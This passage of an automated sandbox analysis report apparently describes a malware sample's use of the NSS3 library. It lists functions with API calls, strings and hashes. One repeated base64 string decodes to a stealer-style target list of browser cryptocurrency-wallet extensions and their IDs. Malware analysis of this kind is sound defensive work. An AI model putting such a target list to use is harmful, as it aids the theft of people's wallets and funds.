GetLastError.KERNEL32 ref: 6CE71D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE71D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE71D7A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4e9a7e53888ccb63064cedfba15e4f51278ba99184cd80d68b35562cfc28f41c
Instruction ID: e1284ec6f38c6316de4db6e835c472524c0165f0a4b7bea9f95febe3f01d9f18
Opcode Fuzzy Hash: 4e9a7e53888ccb63064cedfba15e4f51278ba99184cd80d68b35562cfc28f41c
Instruction Fuzzy Hash: 513163B5E10218AFEF90AF74CD48BAA7BB8FF4A345F0041A5F609D2251E7306994CF65

Function 6CE7EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7EF63

Part of subcall function 6CE887D0: PORT_NewArena_Util.NSS3(00000800,6CE7EF74,00000000), ref: 6CE887E8
Part of subcall function 6CE887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE7EF74,00000000), ref: 6CE887FD
Part of subcall function 6CE887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE8884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE7F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE7F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE7F374
PL_strcasecmp.NSS3(6CFC2FD4,?), ref: 6CE7F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE7F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE7F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE7F67D
CERT_DestroyName.NSS3(?), ref: 6CE7F68B

Part of subcall function 6CE88320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE88338
Part of subcall function 6CE88320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE88364
Part of subcall function 6CE88320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE8838E
Part of subcall function 6CE88320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE883A5
Part of subcall function 6CE88320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE883E3

Part of subcall function 6CE884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE884D9
Part of subcall function 6CE884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE88528

Part of subcall function 6CE88900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CE88955

Strings

oid., xrefs: 6CE7F2CF
mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva, xrefs: 6CE7EFC1, 6CE7F014, 6CE7F07F, 6CE7F0AD, 6CE7F23A, 6CE7F264, 6CE7F5CC
", xrefs: 6CE7F21B
*, xrefs: 6CE7F3C6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva$oid.
API String ID: 4161946812-254940069
Opcode ID: 2ea0e7c20a61f5f4e80e9cb61ccffd80acd7578de082fa687037c3fc1f13d35b
Instruction ID: f30329aeac91d58b9ff1e6fd560ee1534f2f7869d18957f4baeb02d501bbe44d
Opcode Fuzzy Hash: 2ea0e7c20a61f5f4e80e9cb61ccffd80acd7578de082fa687037c3fc1f13d35b
Instruction Fuzzy Hash: AB222A7160C3518FD724CE68C49076AB7F6AB8531CF38462DE49587B91E7399C06C7A3

Function 6CE21C30 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE21D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE21EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CE21FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6CE220CA
abort due to ROLLBACK, xrefs: 6CE22223
no more rows available, xrefs: 6CE22264
sqlite_master, xrefs: 6CE21C61
table, xrefs: 6CE21C8B
nsp.dll, xrefs: 6CE2229B
another row available, xrefs: 6CE22287
unknown error, xrefs: 6CE22291
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CE21F83
unsupported file format, xrefs: 6CE22188
sqlite_temp_master, xrefs: 6CE21C5C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$nsp.dll$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-3475074246
Opcode ID: 9e22aae93f773dcfb95fac743b2044e3a245c856218f32b062e2f5f842cec5f1
Instruction ID: 7915856d069a2301ec72709e20012f477dd9f230f3e589f75f036e563fb1ce2d
Opcode Fuzzy Hash: 9e22aae93f773dcfb95fac743b2044e3a245c856218f32b062e2f5f842cec5f1
Instruction Fuzzy Hash: 5D12D2716083418FD714CF19C484B1AB7F2BF95328F28856DE8959BB52D736EC46CB82

Function 6CE73D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE73DFB
__allrem.LIBCMT ref: 6CE73EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE73FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE74047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE740DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE7415F
__allrem.LIBCMT ref: 6CE7416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE74288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE742AB
__allrem.LIBCMT ref: 6CE742B7

Strings

%04d, xrefs: 6CE7407B
%03d, xrefs: 6CE742E8
%lld, xrefs: 6CE73FB2
%02d, xrefs: 6CE74086

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: db9a038dc1d987ad660c1235e1eecda9de1fbbe6ea1803602256a86445fb3e34
Instruction ID: ab8fae73c03347cc6739758108e1d48b3706209c5e268b08df747b575a22d2bb
Opcode Fuzzy Hash: db9a038dc1d987ad660c1235e1eecda9de1fbbe6ea1803602256a86445fb3e34
Instruction Fuzzy Hash: DBF1E271A087409FD725CF38C841BAAB7F6AF86348F248A1EF48597B51E730D846CB52

Function 6CE45F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6CE46BEC
BINARY, xrefs: 6CE48708, 6CE48737, 6CE487B8
sub-select returns %d columns - expected %d, xrefs: 6CE4805F
2, xrefs: 6CE465B4
u, xrefs: 6CE481DA
-, xrefs: 6CE462F9
-, xrefs: 6CE46228
NOCASE, xrefs: 6CE48703

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 098cbfe6ea2b83176177fd6b792d86f4bb7f40c88fd172f9995159dd2e26547b
Instruction ID: 48949e462821de472184bf24c8ae161d2e3ecdd48f6bebb8b0e1e076af483af8
Opcode Fuzzy Hash: 098cbfe6ea2b83176177fd6b792d86f4bb7f40c88fd172f9995159dd2e26547b
Instruction Fuzzy Hash: C1439174A083418FD714CF19D490A1AB7F2BF8931CF24CA6DE8998B752D735E846CB92

Function 6CEEEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEEDAE2,?), ref: 6CEEC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEEF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CFB218C), ref: 6CEEF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEEF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEEF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEEF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEEF210

Part of subcall function 6CE952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEEF1E9,?,00000000,?,?), ref: 6CE952F5
Part of subcall function 6CE952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE9530F
Part of subcall function 6CE952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE95326
Part of subcall function 6CE952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEEF1E9,?,00000000,?,?), ref: 6CE95340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEEF227

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEEF23E

Part of subcall function 6CEDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEEF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEEF3A8

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEEF3B3

Part of subcall function 6CE92D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE92D3C
Part of subcall function 6CE92D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE92D5F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 494c3fa5bd00d94ed02c367b9322d3db471aa1564d3f352ef1781e76daded513
Instruction ID: 3cd846f2e1270a40fcf8cd34079d19ff13a61478098b9124e884d122af1bd4a6
Opcode Fuzzy Hash: 494c3fa5bd00d94ed02c367b9322d3db471aa1564d3f352ef1781e76daded513
Instruction Fuzzy Hash: B0D18DB6E016059FEB14CFA9E880A9EB7F5EF4C34CF258029D915A7711EB35E806CB50

Function 6CF1DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002,00000000,?,6CEF7FFA,00000002), ref: 6CF1DE33

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CF1D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CF1DE74,6CEF7FFA,00000002,?,?,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002), ref: 6CF1D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002,00000000,?,6CEF7FFA,00000002), ref: 6CF1DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CF1DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF1E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF1E121
PK11_FreeSymKey.NSS3(?), ref: 6CF1E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CF1E195
PR_GetCurrentThread.NSS3 ref: 6CF1E1FC

Part of subcall function 6CF12460: PR_SetError.NSS3(FFFFE005,00000000,6CFB7379,00000002,?), ref: 6CF12493

Strings

early application data, xrefs: 6CF1DFC9
handshake data, xrefs: 6CF1DFF7
application data, xrefs: 6CF1DFE0
key, xrefs: 6CF1E046

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: c35ffa66eef025fb82fe017ae2130a955efb1171b64cee057d85abee70686d91
Instruction ID: d2c0e6282f78cd70a9199527ecbf4b817e1abf33799b2d6d3e772cbf19b3bb99
Opcode Fuzzy Hash: c35ffa66eef025fb82fe017ae2130a955efb1171b64cee057d85abee70686d91
Instruction Fuzzy Hash: C6C10571B042159FEB04CF65CC84BEAB7B4FF09318F184129E909ABE91E731E954CBA1

Function 6CE0ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CE0EF98

Strings

%s at line %d of [%.10s], xrefs: 6CE0F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0F483
database corruption, xrefs: 6CE0F48D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: d636427576290a0976fb69ea291313f285bb47a6a9a7d89577ee3627cc40e481
Instruction ID: 421f1a92a76a37edbfadbd715d7df23f0c950e67c100c33be67536a75239c75e
Opcode Fuzzy Hash: d636427576290a0976fb69ea291313f285bb47a6a9a7d89577ee3627cc40e481
Instruction Fuzzy Hash: B062D070B046458FDB04CF64C48079ABBB2BF4531CF2841ADD8856BB92D739E8A6CBD5

Function 6CEAFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CEAFD06

Part of subcall function 6CEAF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CEAF696
Part of subcall function 6CEAF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CEAF789
Part of subcall function 6CEAF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CEAF796
Part of subcall function 6CEAF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CEAF79F
Part of subcall function 6CEAF670: SECITEM_DupItem_Util.NSS3 ref: 6CEAF7F0

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CEAFDAD

Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91
Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
Part of subcall function 6CEDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CEAFE00

Part of subcall function 6CEDFD80: free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

Part of subcall function 6CECE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CECE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CEAFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CEAFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CEAFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CEB0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CEB0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEB0044

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: c55858a6c00f3d450709de0689826734cda5bbe0bc137fdcbf67d41be6baaa33
Instruction ID: 5368e42d042064f9b5a0da74f7afc68b24e950aedd05ff7575f85d8e9b25dc23
Opcode Fuzzy Hash: c55858a6c00f3d450709de0689826734cda5bbe0bc137fdcbf67d41be6baaa33
Instruction Fuzzy Hash: EFB1D5B1604301AFE304CF69C841A6AB7F5FF8831CF258A1DE9998BB41E774E945CB91

Function 6CEA7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CEA7DDC

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CEA7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CEA7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CEA7F98
PK11_FreeSymKey.NSS3(?), ref: 6CEA7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CEA8000

Part of subcall function 6CEC9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CEA7F0C,?,00000000,00000000,00000000,?), ref: 6CEC943B
Part of subcall function 6CEC9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CEC946B
Part of subcall function 6CEC9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CEC9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEA822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEA823C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
